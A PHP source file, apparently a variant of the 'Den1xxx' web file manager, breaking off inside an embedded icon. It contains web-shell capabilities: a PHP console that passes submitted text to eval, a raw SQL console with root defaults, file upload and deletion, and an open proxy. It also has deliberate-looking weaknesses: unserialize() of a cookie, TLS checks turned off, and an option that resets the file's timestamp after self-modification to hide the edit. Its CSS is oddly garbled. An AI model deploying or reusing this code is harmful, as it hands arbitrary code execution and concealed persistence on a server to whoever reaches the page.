$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTep